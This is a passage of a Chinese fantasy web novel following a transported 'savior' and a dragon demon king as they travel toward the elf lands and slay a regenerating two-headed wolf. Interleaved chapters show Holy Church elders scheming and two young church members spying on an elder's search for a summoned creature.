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上房门,他低头看了看自己——甲上都是污渍,衣服上鞋上到处沾着黏糊糊的绿色液体。
他试着把甲脱掉,但手一直在抖,解了半天都没解开。
沧溟走过来,指尖轻轻一点,甲的搭扣应声松开。
江小鱼愣了一下:“谢了。”
他把甲脱下来放在椅子上,又低头看了看自己的衣服。
真是脏得没眼看了。
“那个……”他犹豫了一下,“我先去洗?”
沧溟看了他一眼,取出一套干净衣服放在床上,然后走到窗边背对着他。
江小鱼拿起干净衣服走进浴室。
热水冲下来的时候,整个人都放松了下来,仿佛一整天的疲惫都随着水流一起被冲走了。
江小鱼忽然感觉手心一疼。差点忘了,手上还有伤来着。
他抬起手看伤口的状况。
伤口不深,但也不算浅。至少不是那种再不治疗马上就愈合了的伤口。边缘已经有些发白,被水浸过之后火辣辣地疼。
他咬着牙用热水冲了一下,疼得倒吸一口凉气。最后简单洗了洗,换了干净衣服出来。
“我洗好了。”
沧溟转过身,目光落在他手上。江小鱼悄悄把手往袖子里缩了缩,但依旧来不及了。
“手。”沧溟说。
江小鱼:“没事,小伤而已。”
沧溟走过来,握住他的手腕,把他的手翻过来。手心那道伤口还在渗血,边缘有些发白。
沧溟看着他,沉默了几秒,然后松开了他的手腕,取出了一个绷带和小瓷瓶。
“坐。”
江小鱼坐在床边,沧溟蹲下来把药粉撒在他的伤口上。
药粉接触到伤口的那一瞬间,刺痛感钻心。
“嘶……”
江小鱼忍不住想把手往回缩,沧溟握住他的手,没让他缩回去。
“忍一下。”
江小鱼咬紧牙,看着他低头给自己上药、缠绷带。
绷带缠好,他松开江小鱼的手,站了起来。
“好了。”
江小鱼看了看自己的手,绷带缠得不松不紧,就是略微有那么点歪歪扭扭。
“谢谢。”
“你当时……”沧溟忽然开口,“不用那样。”
江小鱼愣了一下,然后笑了:“我知道,但那样最快最有效。”
“嗯。”
沧溟拿起自己的衣服走进浴室。
江小鱼坐在床边,盯着手上的绷带看了很久。
浴室里传来水声,隔着门,声音闷闷的。
他站起来,简单把脏衣服和甲收拾了一下,然后拿起毛巾擦头发。
过了一会,浴室门开了,沧溟走了出来,换了身干净衣服,头发湿哒哒的搭在肩上。
江小鱼看了他一眼:“你头发……不擦干吗?”
沧溟拿起毛巾,随便擦了两下便将毛巾放在桌上。然后坐在桌边,闭着眼。
江小鱼犹豫了一下,站起来走过去。
“我帮你擦吧。”
沧溟睁开眼,看着他。
江小鱼被他看得有些心虚:“你擦的太敷衍了,湿着睡明天头疼。”
“嗯。”
江小鱼站在他身后,拿起毛巾帮他擦头发。沧溟的头发比他想象中软,擦的时候能闻到一股淡淡的香味,和平时闻到的一样。
江小鱼把他的头发擦到半干,把毛巾递给他:“差不多了。”
沧溟接过毛巾,放在一边。
江小鱼回到了自己床上,掏出了月光石,把月光石捧在手心。
“薇尔,这个够吗?”
江小鱼把那一小块月光石放到核心上,月光石融进了核心。
核心微微发亮,薇尔的声音响起来,比之前稍微清晰了一点点:“不够。”
江小鱼叹了口气,果然没那么容易。
17. 龙的尾巴会敏感吗?
江小鱼倒在床上,盯着天花板。
本来想走捷径,结果反倒绕了个大圈子,最后还是得去精灵族那里。
“沧溟。”他小声喊。
“嗯。”
“精灵族那边……你去过吗?”
沧溟沉默了一会:“很久以前。”
江小鱼想起旅客的话,突然来了精神:“那精灵王呢?你真的认识他?”
沧溟又沉默了,江小鱼等了一会,以为他不会说了,他忽然开口道:“见过。”
“他是什么样的人?”
沧溟顿了一下:“……麻烦。”
江小鱼愣了一下,忍不住笑出声:“麻烦?”
他此刻十分好奇,会让魔王觉得麻烦的人到底是什么样?
“那他叫什么名字?”
“卡米洛斯。”
“哦……”
不久之后,灯熄了,房间陷入一片黑暗,两人各自躺在床上。
他闭着眼,脑子里面乱糟糟的——裂缝、封印、月光石……
啊——明天还要赶路啊,死脑子快睡快睡!
他翻了个身,睡不着。不一会儿又翻了个身,还是睡不着。
他睁开眼看向沧溟的方向。
沧溟躺在另一张床上,呼吸平稳,像是睡着了。尾巴从床沿垂下来,尾巴尖朝着他的方向。
江小鱼盯着那条尾巴看了很久。然后,鬼使神差地伸出手,用指尖碰下下尾巴尖。
尾巴晃了一下。
江小鱼赶紧缩手,若无其事地躺回去,闭着眼装睡,假装刚才什么都没有发生,心跳声大的像打鼓一样。
过了一会儿,江小鱼的心跳终于平复下来。正打算好好睡觉,忽然感觉尾巴又伸了过来,搭在了他的手腕上。
?!!
他明显感觉到,沧溟的尾巴尖好像有点微微发热……
这、这还能好好睡觉吗?
江小鱼没敢动,假装睡着了。然后……不知道什么时候,真的睡着了。
第二天早上,江小鱼睁开眼,阳光已经从窗帘的缝隙中漏了进来。
他看了一眼手腕,尾巴不在了。沧溟坐在床边看着他。
“醒了?”
江小鱼看见沧溟垂在床边的尾巴,忽然感觉脸好像有点热。
“嗯。”
江小鱼爬起来,径直走进了洗漱间,洗了把脸。
突然想起来,尾巴对于龙来说,是不是比较敏感来着?
天,他到底在干嘛?
总感觉脸好像越洗越烫了……
沧溟见江小鱼出来,说:“收拾一下,走了。”
两人下去退房,老板正在柜台前拿着器具调酒。
老板看了眼他们:“退房?”
沧溟把钥匙和钱放在柜台上:“嗯。”
老板把东西收好,将调好的酒倒在酒杯里。
这杯酒是蓝色的,从上到下有浅蓝到深蓝的渐变,看起来晶莹又清透。面上有一层白色泡沫,像是海边拍起的浪花。中间有一抹橙色飘荡在其中,宛如游在海中自在的鱼儿。酒杯边上装饰着一片柠檬,整体给人一种非常清爽舒服的感觉。
老板把酒杯推向二人,两胳膊支在柜台,嘴角带着一抹笑意:“我的新作,要尝尝看吗?”
沧溟看了她一眼,微微皱了皱眉。
江小鱼看着这杯酒,总感觉这杯酒里有什么独特的诱惑力。
好像在勾着他说:喝一口吧~喝一口吧~
江小鱼咽了咽口水,摇了摇头,对老板说:“不、不了。”
他想起自己一杯倒的场景,实在不想短时间内再经历一次。
老板一脸可惜:“行~不喝就不喝。”
说完,自己把那杯酒喝下了。
没有对酒没被推销出去的遗憾,只有对自己调出杰作的欣赏与满足。
最后,老板放下酒杯,看着二人:“路上小心。”
“谢谢。”
江小鱼说完之后,跟沧溟一起往门外走。
走出旅店,一阵晨风吹过,清凉的很。
江小鱼深吸一口气,看向沧溟:“走吧,去精灵族。”
沧溟“嗯”了一声,两个人往镇外走去。
霜石镇外是一片荒原,土路坑坑洼洼,两侧是枯黄的草地和零星的灌木。远处有山,灰蒙蒙的,像是罩了一层薄纱。
江小鱼走了一会,回头看霜石镇——已经变小了,只能看见几缕炊烟和星星点点的房屋。
“沧溟。”
“嗯。”
“精灵旧地……远吗?”
“两天。”
江小鱼点了点头。
走了大半天,江小鱼感觉自己的腿发酸,已经开始像面条一样晃了。
江小鱼双手撑住膝盖:“那个…
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…”
沧溟:“嗯。”
嗯?他不是还什么都没说吗?
江小鱼还没反应过来,沧溟就已经停下来找了个地方休息了。
江小鱼在沧溟旁边坐下,掏出干粮啃了两口。没管沧溟吃不吃,顺手在沧溟手里塞了几块。
他一边啃着干粮,一边偷偷观察沧溟。
沧溟原本在看远方,忽然感觉手里一沉,遂疑惑地看向手里的东西。
沧溟看了他一眼。
江小鱼解释道:“扳手研发的干粮,挺好吃的,还耐饱。”
沧溟:“嗯。”
然后默默地吃了几口。
江小鱼看着沧溟嚼干粮的样子,忽然感觉他好像有点乖是怎么回事?
他赶紧转回头,假装看风景。
我是不是疯了?
休息了一会,两人继续往前走。
又走了一段,江小鱼忽然闻到一股奇怪的味道。
一股……焦糊味?还混杂着一股腐臭味。
他捂着鼻子:“这附近是有人把肉烧糊了吗?”
他四处张望,发现路边有一摊焦黑的痕迹,被雷劈过似的。不远处的地上还有抓痕,和之前见过的魔物留下的抓痕很像。
“这里也有魔物?”他蹲下来看。
江小鱼站起来,顺着抓痕往前看——远处的地面上还有更多焦黑的痕迹,散落着一些碎块,像是魔物的残骸。
“难道这附近也有裂缝?”
沧溟:“有可能。”
两人继续往前走,没有发现其他魔物的踪迹。
天色渐暗,沧溟在一处低洼地停下。
“就这里。”
江小鱼放下背包去捡柴,回来的时候沧溟已经在周围布好了阵。
暗光一闪,几个光点没入地面,升起一道屏障将他们罩了起来,随后变得透明。
沧溟手一指,火光亮了起来,两个人围着篝火坐在一起。
“沧溟。”
“嗯。”
“我突然想到,你说有没有可能,这些裂缝是圣教召唤出来的那个东西搞的?”
“不可能。”
“这么确定?为什么?”
沧溟摇了摇头,没有再说什么。
江小鱼点了点头,沧溟不想说,他也不会多问。
但他感觉沧溟对那个被召唤出来的东西一定有所了解。
18. 紫色蕾丝边
辉光圣域,圣教议事厅。
长桌两侧坐着十几位长老,正在围绕着“救世主”的议题争论不休。
“救世主必须带回圣教,这是预言——”
“魔宫那边已经拒绝了,你打算怎么带回?派兵?”
“派兵?你想和魔族开战?”
“那你说该怎么办?”
一位灰袍长老清了清嗓子,声音不紧不慢:“其实——我们不一定非要从魔宫手里抢人。”
众人看向他。
“北境那么大,魔族也不是铁板一块。”灰袍长老捋了捋胡子,“据我所知,有不少魔族部落对那位魔王并不是那么服气。只是迫于他的威严而不敢吱声。”
他顿了顿:“如果我们能暗中联系这些部落,给他们一些支持,例如物资、武器、甚至圣光祝福,他们未必不愿意替我们做事。”
议事厅里安静了一瞬。
有人皱眉:“与魔族合作?这有违圣教教义!”
灰袍长老笑了笑:“这不是合作,是‘引导’。他们为我们做事,我们给他们想要的,各取所需罢了。”
有几位长老点头附和。
“这个方法可行。”
“总比直接和魔族开战强。”
“救世主的事也可以让他们去办。”
云澈面无表情地看着众长老,看似在认真听讲,实际上脸上挂着疲惫和困倦,像极了被迫早起上早八的大学生。
云皎坐得笔直,一脸乖巧。长老说话时,时不时微微点头,看起来像是在认真思考这个提议的可行性。但在她的脑子里已经开始不断地翻白眼了。
引导?说得好听,不就是挑拨离间吗?
给魔族物资武器,让他们自相残杀,圣教在背后坐收渔翁之利……到底谁是魔族?
她看了一眼那些附和的长老,一个个义正言辞,仿佛自己正在执行神的旨意。
她垂下眼,把嘴角往下压了压,继续维持着虔诚的表情。
灰袍长老继续说:“而且,如果那些魔族真的闹起来,魔王自顾不暇,我们想要救世主,不就容易多了?”
“有道理。”
“可以一试。”
这时,另一位白袍长老忽然开口,声音带着几分不满:“说到救世主……我倒是有个疑问。”
众人看向他。
“那位救世主,在魔宫待了几天,就选择留下不走了。你们觉得,这样的人真的会对我们有帮助?”
“预言不会错!”另一位长老立刻反驳,“救世主是神选之人,留在魔宫只是暂时的,终有一天会回归圣光。”
“暂时的?”那位白袍长老笑了笑,“他在魔宫吃得好住得好,我看他根本就不想回来。”
“那是因为他还没认清自己的使命。”
“他连魔王都夸上了,你觉得他还会帮我们对付魔王?”
几位长老皱起眉头,低声议论。云澈依旧神游天外,云皎表面依旧乖巧,内心依旧吐槽。
他不想跟你们回来,有没有一种可能是你们太烦人了?
她偷偷看了一眼那位白袍长老——一脸义正词严,仿佛救世主欠了他几百万金币。
人家在魔宫过得好好的,凭什么莫名其妙回来给你卖命?就因为你们说他是救世主?
“好了。”
阿尔德忽然开口,议事厅安静下来。
他坐在长桌中段,看起来面无表情。从会议开始到现在,他几乎没怎么说过话。
“救世主的事,不急。”他语气平稳,“魔宫那边既然拒绝,硬来只会让局面更僵,容我再想想。”
几位长老交换了眼神,有人点头,有人皱眉。那位长老似乎还想再说什么,被人拉了一下,没再开口。
阿尔德继续听其他人关于其他事的发言。忽然,伸向桌上茶杯的手一僵,很快又恢复了自然。
他面色不变,有时微微点头,像是在赞同某位同僚的观点。
议事持续了半个时辰。散会后,阿尔德从容起身,与几位长老寒暄了几句,然后快步离开了议事厅。
云皎看着他的背影微微皱眉。
阿尔德走的比平时快,像是忽然有什么急事,在议会上的表现也一反常态。
“云皎。”云澈的声音从旁边传来。
云皎回过神:“嗯?”
“走了。”云澈站起来整理了一下衣袖。
“你先走,”云皎说,“我还有点事。”
“好。”云澈转身离开。
云皎等他走远,悄悄跟上了阿尔德的方向。
阿尔德穿过长廊,脚步很快。云皎悄悄跟在他后面,保持着距离,同时让自己脚步不发出声音。
阿尔德回到自己的住处,关上了门。
云皎趴在门板上,注意着里面的动静。
阿尔德进门之后,背对着门。看到桌上摆的东西都不顺眼起来,一怒之下把桌上的东西全都横扫在地上。
纸在空中飘飞,缓缓落在地上,重的东西砸在地上发出巨大的闷响。
门外的云皎被吓了一跳,浑身一颤,拍了拍胸口继续贴在门上。
阿尔德冷哼一声,一掌拍在桌上:“影死了……”
“仪式失败了……仪式竟然失败了……”
阿尔德转过身,对身边的心腹下令:“去查,找到那个被召唤出来的东西。”
他身边的黑袍人点头:“是。”
“它在北境,从影最后所在的那个位置找。从那里开始向外搜索,沿着痕迹找。不论是魔力残留、还是被破坏的环境,或者是……尸体。”
“是。”
“不要惊动魔宫,也不要惊动精灵族。”阿尔德顿了顿,“找到它之后,不要靠近,先回报。它不是你们能应付的。”
黑袍人领命退下,房间里重新安静下来。
影死了,但只要找到那个被召唤出来的东西……一切都还有转机。
门外,云皎吃到了一手的新鲜大瓜,兴奋不已。
她听到脚步声,迅速躲了起来。见黑袍人出去,她正准备悄悄跟上去。
一只手忽然从身后伸出来,按住她的肩膀。
云皎浑身一僵,猛地回头——云澈正站在她身后看着她。
“你……”云皎压低声音,“你怎么在这?”
“你鬼鬼祟祟的,”云澈也压低声音,“我好奇。”
“呃……”
云皎正想着该怎么解释,云澈松开了手,往黑袍人离开的方向走去。
“要走远了。”
云皎跟了上去:“哦、哦。”
两个人跟着黑袍人出了辉光圣域,一路走进城外的树林。
黑袍人停下脚步,几个同样装束的人从暗处
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走出来,单膝跪地。
“大人。”
“去北境……洞穴中……找……”
“找到之后,不要靠近,先回报。”
“是。”
几人领命,分散离开。
云皎躲在树后,等那几个黑袍人走远才探出头。
她看了一眼云澈,云澈正盯着黑袍人离开的方向。
“你听到了?”云皎小声问。
云澈答非所问:“你喜欢开盲盒吗?”
云皎:“啊?”
还没等她反应过来,云澈便朝着其中一个黑衣人离开的方向跟了过去。
云皎不知所以然,但坚定地紧随其后。
两个人跟了很远,一直跟到树林深处。云澈抬手,一道光锁从掌心飞出,将那人定在原地。
黑袍人挣扎了几下,挣不开。
云澈从树后走出来,面容被兜帽遮住了大半。黑袍人看不清他的脸,只看见一个修长的身影。
“你、你是谁?”
“不重要。”云澈故意将声音压得低沉,“回答我的问题。”
“你想干什么?”黑袍人声音发抖,“我是什么都不会告诉你的。”
云澈走近一步,声音低沉:“你是艾尔曼,对吧?”
黑袍人身体一僵。
“圣教后勤执事,负责物资调配。”云澈顿了顿,“你衣柜里最里面的那个盒子,装的是什么?”
黑袍人的脸色瞬间大变。
“我、我不知道你在说什么——”
“紫色。”云澈打断他,“带蕾丝边,你每次出差都带着,偷偷洗干净晾在房间里,怕被人看见。”
黑袍人的脸从白到红,从红到紫,瞬息万变、羞愤不已。
“你怎么——”
“回答我的问题,这件事就不会有人知道。”云澈勾起嘴角,“包括你同寝室的室友。”
黑袍人张了张嘴,声音发颤:“你、你想问什么?”
“你们在找什么?”
“我不知道……大人只是说是一个被召唤出来的东西。”
“谁让你们找的?”
“阿尔德长老。”
“具体位置。”
“北境霜石镇以北,一个隐秘的洞穴附近。阿尔德大人说从那里开始向外搜查。”
云澈抬手,光锁消散。
黑袍人愣了一下,然后连滚带爬地跑了,跑的时候约莫太慌张,还……绊了一下。
云澈捏了个诀,指向那黑袍人,一道白光追向黑袍人,没入他的头。黑袍人顿了一下,挠了挠头,又继续向前走了。
云皎从树后探出头,看了一眼黑袍人消失的方向,又看向云澈。
“紫色蕾丝边?”她压低声音说道,嘴角已经开始剧烈抽搐了,简直比AK还难压。
云澈没理她,继续朝前走。
云皎跟上去,终于忍不住“噗嗤”笑出声:“你怎么连这个都知道?!”
云澈脚步不停:“偶然看到的。”
“偶然?!你偶然看到他晾紫色蕾丝内裤?!”
云澈耳朵尖泛了红。
云皎笑得更欢了:“你到底是什么时候——”
“别问了。”
云皎笑得停不下来,直接捂住嘴,但肩膀还是控制不住一抖一抖的。
“真有你的。”
19. 难道我们很吓人吗?
第二天早上,江小鱼醒来,发现身上多了条毯子。
荒原的风卷着沙砾呼啸而过,江小鱼缩在毯子里打了个寒颤。
他揉了揉眼,掀起帐篷,沧溟已经收拾好在外面等他了。
江小鱼迅速收拾好跟着沧溟继续赶路。
两人往东走,风从正面吹来,每走一步都困难。沧溟走在江小鱼前面,用自己给他挡风。
断断续续约莫走了一个时辰,一望无际的地平线上出现了几个低矮的轮廓。
“有人住?”江小鱼有点意外。
在荒原上走了这么久,这还是他第一次看见有人烟的地方。
村子不大,几间毛坯房散落在枯黄的草地间,几缕炊烟从烟囱里飘出来,很快就会被风吹散。
远远的还能看见有几个人影在房屋前走动。
两人走进村子。
土路两旁的屋子低矮陈旧,有些屋子的墙皮都已经掉落。
几个村民在屋前晾晒东西,看见他们,先是一愣,然后低下头匆匆走开。有人回屋关上了门,有人站在远处打量着他们。
目光多集中在沧溟头上的角和身后的尾巴上。
一个老人坐在门前抽烟斗,看见沧溟,手抖了一下,差点掉在地上。
江小鱼想上去问路,老人摆了摆手,起身进屋把门关上了。
“哎——”
江小鱼对了对手指:“难道我们长得很吓人吗?”
继续往前走,江小鱼注意到路边有几处焦黑的痕迹,像是被火烧过。一堵矮墙上还有着几道深深浅浅的抓痕。
他停下脚步,走过去看。
“这里也出现过魔物?”他抬头问沧溟。
还没等沧溟回答,村子深处忽然传来一阵尖叫声。
紧接着是更多的喊叫声、哭声、东西摔碎的声音。
有人从村子里灰头土脸、连滚带爬地往外跑。
看见沧溟,那人脚步一顿,眼中闪过一丝恐惧。此时身后又传来一声嘶吼,他咬了咬牙,头也不回地从沧溟身边跑过去。
江小鱼见状,毫不犹豫地往村子深处跑去。
混乱中,一只魔物正朝着一个孩子一步步接近。那孩子摔在地上,腿软的站不起来,求生本能使他把手撑在地上一点点往后缩,脸上全是灰和泪。
那魔物是一只双头狼,毛色是灰白色。此时透明的涎水自魔物的嘴角滴落成线,喉中不断发出呼噜噜的声音,正作势要向小孩扑过去。
江小鱼冲过去,先魔物一步,一把捞起那孩子抱在怀里,往旁边滚了一圈。
魔物的爪子擦着江小鱼的背扑了过去。
一道紫色的魔法光束从不远处射过来,打在魔物身上。一瞬间,魔物灰飞烟灭。
江小鱼抱着孩子站起来,腿还有些发软。孩子搂着他的脖子,哭得上气不接下气,小脸埋在他的颈窝里,瑟瑟发抖。
“没事了没事了。”
江小鱼拍了拍孩子的背,然后抬起手抹了孩子脸颊上的眼泪:“没事了,别怕。”
孩子的哭声小了点,还有点哽咽,小小的手紧紧地攥着他的衣服。
躲在各处的村民从门缝里、窗沿边探出头看他们。
江小鱼把孩子交给跑过来的母亲。那母亲抱着孩子哭得说不出话,只一个劲鞠躬。
“谢谢、谢谢你们……”
几个村民只是远远地站着,不敢靠近。
那个拿着烟斗的老人走了过来,身后跟着一个略显青涩的小姑娘。
“你们……不是魔物?”他问。
“不是。”江小鱼回答。
老人沉默了一会,叹了口气:“谢谢你们,要不是你们,村子里还不知道要有多少损伤。”
“我是这个村子的村长,近日来,村里忽然有魔物袭击,本就艰难的生活更是雪上加霜。”
“由于魔物来袭,村民们都比较小心谨慎,尤其是对外来者,还请见谅。”
江小鱼看了看躲在附近探头探脑观察他们的人,点了点头:“理解、理解。”
他看着魔物消失的方向:“那魔物是什么时候开始出现的?”
“就前两天。”村长又叹了口气,“村子从来没有遭遇过魔物,我们正愁该怎么办才好。有人不愿意搬走,可也不能放着魔物不管。”
江小鱼回头看了一眼沧溟,沧溟点了点头。
“那就交给我们
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吧!”江小鱼拍着胸脯道。
老人脸上的愁容终于散了一部分,身后的女孩惊喜道:“真的可以吗?!”
江小鱼:“真的真的,那你们知道魔物是从哪个方向来的吗?”
女孩指向他们身后:“那里。”
江小鱼回头看去,女孩指的方向在村子的西边。一眼望去,在荒原上一时也看不出有什么。
“好。”
江小鱼和沧溟往女孩指的方向走去。
女孩喊道:“你们要小心啊!”
两人往村子西边走去,荒原的风似乎比来时更大了些,江小鱼眯着眼跟在沧溟身后。
“沧溟。”
“嗯。”
“刚才那个魔物——双头狼,你见过吗?”
“没见过。”
又是没见过的魔物?裂缝里跑出来的魔物,到底是从哪儿来的?
走了大概一刻钟,地上的痕迹越来越明显——爪痕、拖拽的血迹、毛发,一直延伸向远方一处低矮的土坡。
沧溟蹲下来探查魔力波动,江小鱼观察脚印和爪痕,两人异口同声:“不止一只。”
走到土坡背面,有几丛零星的低矮灌木,灌木丛后面,隐约能看见一个黑漆漆的洞口。
他们放轻了脚步,一点点接近洞穴。江小鱼默默将手放在了剑柄上。
接近洞口的时候,一股腥臭味扑面而来。江小鱼猛地捂住口鼻,感觉刚刚差点窒息。
如果可以,有没有那种可以短暂关闭嗅觉的魔法?急,真的很需要。
洞穴里面黑漆漆的,几乎什么也看不见。
“有几只?”江小鱼超小声地问。
沧溟瞬间感知回应:“五只。一只大的,四只小的。”
大的那只双头狼想必就是它们的头头了。
狼群会听从头领的指挥,击溃首领,剩下的狼就会散掉。
江小鱼:“俗话说,擒贼先擒王。”
他握紧剑柄:“怎么引出来?”
沧溟伸出手,对着洞口,一道暗光飞出,没入洞穴深处。
几秒后,洞里传来低沉的嘶吼声,以及狼群出动的脚步声。
“来了。”
20. 还带召唤的?
双头狼首领率领着几只小狼从洞穴中窜出。
狼群围绕着两人来回踱步,自喉间发出愤怒的嘶吼声,显然被刚才射入洞中的攻击激怒了。
江小鱼握紧剑和盾,警惕着双头狼。沧溟把江小鱼护在身后,红眸带着锐利的眼神看向狼群,仿佛在施展威压。
双头狼低吼一声,四只灰狼立刻散开,从两侧包抄,速度快的像四道灰白色的影子。
一只忽然从左边扑过来,江小鱼侧身避开,用盾挡住他的爪子。爪子划过盾发出刺耳的“滋滋”声。
另一只从右边绕到他身后扑过去,沧溟的尾巴横扫过去。这只灰狼直接被抽飞,撞在土坡上滑落下来,随后又挣扎着爬起来,退到双头狼身后,低伏着身体。
双头狼又低吼一声,剩下的灰狼重新散开,这次没有急着扑,而是绕着他们打转,寻找进攻机会。
沧溟展开翅膀,双脚离地,浮在空中,伸出手指往狼群的方向指去。一个魔法阵自沧溟身后展开,又粗又快的魔法光束不断从魔法阵中射向狼群。
双头狼非常敏捷的在地上躲避魔法光束,一道道魔法光束擦着它的身体飞过,在地上炸开一个又一个的深坑。
双头狼身边的灰狼没有本狼那么敏捷强大,根本避不开沧溟的魔法光束,只躲避了那么一两个,最后一个个都被魔法光束击碎,灰飞烟灭了。
双头狼抬起头,发出一声尖锐的长啸。啸声刚落,双头狼身后的阴影里缓缓浮现出几只新的灰狼。它们从黑影中凝聚成形,从虚影变成实体的狼。
江小鱼愣住了:“还带召唤的?”
他粗略扫了一眼,比原来还要多两只。
“得先解决头狼,”江小鱼说,“不然打不完。”
沧溟眼神一凝:“来多少,杀多少。”
江小鱼在这一刻才忽然发觉,在他身边的这个人,是魔王。从他来这里开始到现在,第一次真切感受到,沧溟身为魔王的威压。
江小鱼:“你对付这些小的,牵制住它们,我来对付这个大的。”
沧溟挑了挑眉,似乎有些惊讶江小鱼的决定,但没有多说,直接把那几只灰狼从江小鱼身边卷走,带到另一边。
双头狼紧紧盯着江小鱼,两个头一左一右,四只眼睛泛着幽绿色的光。
江小鱼深吸一口气,握紧剑柄。
游戏里又不是没打过boss,单挑也不在话下。
我可是鱼神啊!
双头狼扑了过来,速度快得只看见一道残影。
江小鱼侧身避开,一剑砍在它左边的脖子上。但是剑没砍进去多少,只留下一道浅浅的伤口。
双头狼右边的头立刻咬过来,他举盾挡住,被撞得后退了好几步。
果然还是得听沧溟的,要加强锻炼了。
双头狼转身,又扑过来。
江小鱼蹲低身体,在它扑到面前时猛地往旁边一滚,同时挥剑砍在了它的右腿上。血溅了出来,双头狼酿跄了一下。
江小鱼站起来,喘着气,盯着双头狼。
这次他看准时机,在双头狼扑过来时翻身上背,卯足力气砍向双头狼的头。
左边的头掉在地上,滚了两圈。
双头狼发出一声凄厉的嚎叫,把江小鱼从身上晃了下来,右边的头疯狂地朝他咬过来,同时爪子拍向江小鱼。
江小鱼来不及躲了,只能用盾硬挡,结果被撞得飞出去,摔在地上,后背撞在大石头上,疼的他龇牙咧嘴。
“呃——”
好痛……感觉全身的骨头像碎了一样,不会骨折了吧?
江小鱼用剑支撑着爬起来,发现双头狼断掉的脖子处正在愈合。
新的肉芽从断口处长出来,速度快得肉眼可见。
几秒后,一颗新的头长了出来,受过伤的地方也都愈合了。双头狼甩了甩头,朝他龇牙。
“哈?又是再生?”
江小鱼想起自己玩过的游戏——双头怪物的设定,通常需要一瞬间同时砍下两个头,不然就会复活。
江小鱼咬了咬牙:“开赌。”
江小鱼举盾挡住了双头狼的攻击,却被撞得连连后退。虽然他很想奋起进攻,但腿已经开始发软,明显有些力不从心。
核心忽然闪了几下。
“需要帮忙吗?”薇尔的声音响起。
江小鱼愣了一下:“薇尔?你有办法?”
“有。但机会只有一次。”
江小鱼:“那就恭敬不如从命了。”
核心亮了起来,一道银白色的光从核心中涌出,顺着江小鱼的手臂蔓延到剑上。
江小鱼瞬间感觉到有劲,腿也不酸了,背也不疼了。剑刃上附着一层淡淡的光晕,有一种变得更锋利的感觉。
“这个状态只能维持一会儿。”薇尔的声音略显疲惫,“砍。”
江小鱼握紧剑,看向双头狼,抓准时机,迅速躲过双头狼的攻击,挥剑砍向双头狼的脖子。
这一剑非常丝滑利落地将双头狼的两颗头同时砍下。
剑刃上的银光在斩断两颗头的瞬间炸开,把断口处的血肉灼烧成焦黑色,伤口没再愈合,双头狼也没有再复活。
有那么一瞬间……似乎闻到了烤肉的香味?
双头狼的两颗头都飞了出去,身体晃晃悠悠地倒在地上,头和身体都开始消散。
召唤出的狼群也都随着双头狼首领一起消散。
江小鱼站在原地,喘着粗气,腿发软,浑身都疼得厉害。他用剑撑在地上,支撑着自己不倒下。
剑上的银光消失了,核心也暗了下去。
“薇尔?”
没有回应。
这是……没电了?
总而言之,谢谢你,薇尔。
沧溟轻轻落地,翅膀也收了起来。
他走向江小鱼:“还好吗?”
江小鱼有气无力:“还活着……”
话音未落,江小鱼就朝前栽倒,沧溟稳稳地把他接住了。
江小鱼靠在他怀里,意识模模糊糊的,只感觉后背一阵一阵的疼,四肢像灌了铅一样沉重。
他想挣扎着说“我没事”,但话到嘴边,嘴边又不听使唤了,只发出一声含混的“唔”。
沧溟低头看了他一眼,然后展开了翅膀。
江小鱼感觉身体一轻,有一种失重感袭来,风从耳边呼啸而过。
他勉强睁开眼,看见地面越来越远,荒原在脚下铺展开来,像一片灰黄色
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的毯子。
我也会飞了?
江小鱼刚在内心发出这个疑问,就已经实在是支撑不住了,闭上了眼。
不知道过了多久,他感觉到自己被放到了一个柔软的地方。
江小鱼睁开了眼,看见了天花板。他躺在一张床上,身上盖着被子。
“这是……哪儿?”他声音沙哑,喉咙感觉又干又痛。
沧溟站在床边,低头看他:“旅店。”
江小鱼想坐起来,后背一阵剧痛,他龇了龇牙,又躺了回去。
“村子那边……”他开口。
“等你伤好再去。”沧溟打断他。
江小鱼还想说些什么,却感觉眼皮越来越重,困意和倦意一同席卷而来。他只听见一阵脚步声和关门声,接下来整个房间都安静了。
再睁眼的时候,天色已经暗了。房间里点着一盏灯,光线昏黄。
江小鱼试着动了一下,后背还是很疼,但是比刚才好了一点点。
真是旧伤未好又添新伤啊。
他撑着床坐起来,环顾四周。桌子上放了食物和水,沧溟不在房间里。
他端起水杯喝了一口水,润了润嘴唇和嗓子,感觉顺畅了不少。桌上有一碗粥,还是温热的,他端起来喝了几口。
这时门开了,沧溟走了进来,手里拿着一个纸包。
“醒了?”他把纸包放在桌上。
“嗯。”江小鱼放下碗,“你去哪了?”
沧溟打开纸包,里面是几块糖和一包药粉。
“找药。”
江小鱼愣了一下:“药?”
沧溟:“嗯。附近没有恢复药水卖,找了适用人类的方式。”
沧溟把药倒进杯子里,用水冲开,递给他。
江小鱼接过杯子,闻了闻,好苦。
他紧皱眉头,一脸痛苦:“能不喝吗?”
沧溟只一脸严肃地看着他。
江小鱼无奈:“好了好了,我知道了,我喝。”
江小鱼屏住呼吸一口气喝完,差点吐出来。
“咳咳,真的好苦。”
沧溟将一颗糖递到了他嘴边:“甜的。”
江小鱼张嘴就着沧溟的手把糖吃进了嘴里。
“嗯,是很甜。”
江小鱼在旅店躺了三天。
第一天,他几乎没下床,后背疼得厉害,翻身都费劲。沧溟每天都会出去,每次回来都会带回来吃的和药。每次他醒来,沧溟都在房间里看着他。
第二天,他勉强能下地走动了。他在房间里走了几圈,腿还是又酸又软,但比昨天已经好多了。
沧溟不知道从哪儿弄来一本薄薄的书,坐在桌边翻。江小鱼凑过去看,结果上面的字一个也不认识。
“这是什么?”
“精灵族的书。”
“你看得懂?”
“嗯。”
“厉害啊。”
第三天早上,江小鱼醒来的时候,后背已经不疼了。他活动了一下肩膀,还有点酸,但已经不影响行动了。
“差不多了。”他对沧溟说。
沧溟看了他一眼:“嗯。”
两人收拾东西,退了房,往村子的方向走去。
21. 薇尔薇尔薇尔
两个人走回村子的时候,村民们正在修补被破坏的房屋。有人看见他们,放下手里的活,朝他们挥手。
“回来了!他们回来了!”
村长从屋里走出来,女孩跟在他身后。
村长:“怎么样了?”
江小鱼笑了笑:“魔物已经清除了,以后应该不会再有了。”
村长连声道谢,握着江小鱼的手久久没有松开。
女孩的语气充满感激与钦佩:“你们也太厉害了!”
江小鱼被夸得有点不好意思,挠了挠头。
她晃了晃村长的手:“爷爷,我以后也要当勇者!也要斩杀魔物!”
村长语重心长:“那可是很危险的。”
女孩:“我不怕危险!我以后也要拯救有困难的人!”
村长一脸担忧和无奈地摇了摇头:“你这孩子。”
江小鱼微微扯了扯嘴角。
其实斩杀魔物的也有可能不是勇者,是一条咸鱼和一个魔王……
